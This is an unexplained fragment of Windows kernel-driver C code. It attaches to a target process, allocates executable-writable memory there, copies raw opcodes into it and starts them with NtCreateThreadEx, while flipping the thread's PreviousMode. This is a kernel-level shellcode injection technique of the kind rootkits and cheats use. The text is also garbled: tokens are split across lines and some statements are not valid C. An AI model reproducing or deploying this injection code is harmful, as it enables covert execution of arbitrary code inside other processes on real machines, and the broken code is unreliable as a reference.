KAPC_STATE ApcState = { 0 };
KeStackAttachProcess(TargetProcess, &ApcState);
_KTHREAD->PreviousMode = UserMode
PVOID
codeBuffer = 0;
ZwAllocateVirtualMemory(ZwCurrentProcess(), &codeBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlZeroMemory(codeBuffer, Size);
memcpy
(codeBuffer, opcodes,
sizeof
(opcodes));
_KTHREAD->PreviousMode = KernelMode
NTSTATUS status;
HANDLE
hThread;
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
&objAttr,
NtCurrentProcess(),
(
PVOID
)codeBuffer,
(
PVOID
)NULL,
0,
0,
0x1000,
0x1000,
NULL);
_KTHREAD->PreviousMode = UserMode
if
(NT_SUCCESS(status)) {
LARGE_INTEGER Timeout = { 0 };
Timeout.QuadPart = -(60ll * 10 * 1000 * 1000);
status = ZwWaitForSingleObject(hThread, TRUE, &Timeout);
NtClose(hThread);
}
status = ZwFreeVirtualMemory(NtCurrentProcess(), &codeBuffer, &Size, MEM_RELEASE);
_KTHREAD->PreviousMode = oldMode;
KeUnstackDetachProcess(&ApcState);